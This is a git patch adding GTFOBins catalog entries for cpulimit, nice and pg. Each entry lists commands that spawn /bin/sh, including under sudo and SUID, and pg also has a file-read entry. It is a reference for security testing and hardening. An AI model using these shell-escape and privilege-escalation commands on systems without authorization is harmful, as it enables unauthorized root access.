From 2b16dd52e88883a2f0d196504d85335352330fe6 Mon Sep 17 00:00:00 2001 From: pshem Date: Fri, 24 Aug 2018 10:33:15 +0100 Subject: [PATCH] Add nice, cpulimit and pg --- _gtfobins/cpulimit.md | 7 +++++++ _gtfobins/nice.md | 9 +++++++++ _gtfobins/pg.md | 17 +++++++++++++++++ 3 files changed, 33 insertions(+) create mode 100644 _gtfobins/cpulimit.md create mode 100644 _gtfobins/nice.md create mode 100644 _gtfobins/pg.md diff --git a/_gtfobins/cpulimit.md b/_gtfobins/cpulimit.md new file mode 100644 index 0000000..9ad7a95 --- /dev/null +++ b/_gtfobins/cpulimit.md @@ -0,0 +1,7 @@ +--- +functions: + execute-interactive: + - code: cpulimit -l 100 -f /bin/sh + sudo-enabled: + - code: sudo cpulimit -l 100 -f /bin/sh +--- diff --git a/_gtfobins/nice.md b/_gtfobins/nice.md new file mode 100644 index 0000000..47c08b2 --- /dev/null +++ b/_gtfobins/nice.md @@ -0,0 +1,9 @@ +--- +functions: + execute-interactive: + - code: nice /bin/sh + suid-enabled: + - code: ./nice /bin/sh -p + sudo-enabled: + - code: sudo nice /bin/sh +--- diff --git a/_gtfobins/pg.md b/_gtfobins/pg.md new file mode 100644 index 0000000..54d5ee0 --- /dev/null +++ b/_gtfobins/pg.md @@ -0,0 +1,17 @@ +--- +functions: + execute-interactive: + - code: | + pg /etc/profile + !/bin/sh + file-read: + - code: pg file_to_read + sudo-enabled: + - code: | + sudo pg /etc/profile + !/bin/sh + suid-limited: + - code: | + ./pg /etc/profile + !/bin/sh +---